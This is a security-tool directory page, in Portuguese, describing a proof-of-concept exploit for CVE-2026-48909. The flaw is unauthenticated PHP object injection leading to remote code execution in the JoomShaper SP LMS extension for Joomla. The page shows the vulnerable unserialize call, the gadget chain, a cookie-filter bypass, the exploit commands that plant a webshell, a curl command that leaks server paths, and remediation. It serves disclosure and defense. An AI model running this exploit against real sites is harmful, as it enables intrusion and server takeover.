Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-48909 — Exploit de prova de conceito para CVE-2026-48909: execução remota de código não autenticada via injeção de objeto PHP no JoomShaper SP LMS. Inclui orientações de detecção, exploração e remediação. | Kitploit
Ferramentas/GitHubGitHub/is4yev/cve-2026-48909
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubis4yev/cve-2026-48909

CVE-2026-48909

Exploit de prova de conceito para CVE-2026-48909: execução remota de código não autenticada via injeção de objeto PHP no JoomShaper SP LMS. Inclui orientações de detecção, exploração e remediação.

Ver Repositório
232há 1 mêsRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-48909 — Injeção de Objeto PHP no SP LMS → RCE

CVE CVSS CWE Affected Fixed

Execução Remota de Código não autenticada via Injeção de Objeto PHP no JoomShaper SP LMS (com_splms) ≤ 4.1.3 para o CMS Joomla.

Autor: Amin İsayev / Proxima Cyber Security


Visão Geral

SP LMS é uma extensão popular de Learning Management System para Joomla da JoomShaper, com mais de 100.000 instalações. As versões ≤ 4.1.3 passam o cookie diretamente para sem qualquer validação, permitindo que um atacante não autenticado injete um objeto PHP malicioso e alcance Execução Remota de Código por meio da cadeia de gadgets nativa do Joomla.

lmsOrders
unserialize()
CampoDetalhes
CVE IDCVE-2026-48909
GHSAGHSA-gf8c-xmwj-whrh
AfetadoSP LMS (com_splms) 1.0.0 – 4.1.3
Corrigido emSP LMS ≥ 4.1.4
Requisito do Joomla< 5.2.2 (cadeia de gadgets corrigida na 5.2.2)
CVSS 4.09.5 Crítico — AV:N/AC:L/AT:P/PR:N/UI:N
CWECWE-502: Desserialização de Dados Não Confiáveis
Autenticação necessáriaNenhuma
Divulgado2026-05-26
Publicado2026-06-20

Vulnerabilidade

Causa raiz

components/com_splms/models/cart.php linha 28:

root@kitploit:~
$cookie  = Factory::getApplication()->input->cookie;
$raw     = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded);   // ← untrusted user input

O cookie lmsOrders é decodificado em base64 e passado diretamente para unserialize(). Um atacante controla totalmente o objeto desserializado.

Cadeia de gadgets

A classe FormattedtextLogger do Joomla fornece o gadget:

root@kitploit:~
lmsOrders cookie (attacker-controlled)
  └─► unserialize()                             [cart.php:28]
        └─► FormattedtextLogger.__destruct()    [Joomla gadget]
              └─► initFile() → File::write($path, $format)
                    └─► PHP code written to disk → RCE

Nota: RCE requer Joomla < 5.2.2.
O Joomla 5.2.2 corrigiu FormattedtextLogger.__wakeup() (veja PR #44428).
A Injeção de Objeto PHP ainda existe no com_splms ≤ 4.1.3 em todas as versões do Joomla.

Bypass do filtro

O Input\Cookie::get() do Joomla aplica um filtro cmd por padrão, removendo +, / e = do valor do cookie — caracteres presentes no base64 padrão. O exploit usa:

  • Codificação hex2bin() para evitar caracteres PHP proibidos ($, _, {, }, \n)
  • Alinhamento de padding para garantir que o comprimento do base64 seja divisível por 3 (sem padding =)
  • Iteração de caracteres de padding (62 variantes) para eliminar / e + da saída base64

Prova de Conceito

Detecção

root@kitploit:~
python3 CVE-2026-48909.py https://target.com
root@kitploit:~
[*] Target : https://target.com
[*] Path   : /index.php?option=com_splms&view=cart
[*] Probe  : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.

Exploit

root@kitploit:~
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Captura de tela do PoC

Shell ativa em https://target.com/tmp/x.php?c=id

Descobrindo o caminho do servidor (se desconhecido):

root@kitploit:~
# cPanel hosting — path leaks from Joomla error pages
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'

# Common paths to try:
#   /var/www/html/tmp/x.php
#   /home/USER/public_html/tmp/x.php
#   /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php

Requisitos

root@kitploit:~
pip install requests

Python 3.10+


Correção / Remediação

  1. Atualize o SP LMS para a versão ≥ 4.1.4 imediatamente
  2. Atualize o Joomla para ≥ 5.2.2 para remover a cadeia de gadgets
  3. Como mitigação temporária — valide e sanitize o cookie lmsOrders antes da desserialização:
root@kitploit:~
// Do NOT use unserialize() on user-controlled data
// Use json_encode/json_decode instead
$cartItems = json_decode(base64_decode($raw), true) ?? [];

Referências

  • CVE-2026-48909 — cve.org
  • CVE-2026-48909 — NVD
  • GHSA-gf8c-xmwj-whrh — Aviso do GitHub
  • Joomla PR #44428 — Correção do gadget FormattedtextLogger
  • CWE-502: Desserialização de Dados Não Confiáveis
  • OWASP: Injeção de Objeto PHP

Aviso Legal

Esta ferramenta é disponibilizada apenas para fins educacionais e testes de segurança autorizados.
O autor não é responsável por qualquer uso indevido ou dano causado por este programa.
Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.


Amin İsayev / Proxima Cyber Security — 2026

Baixar ferramenta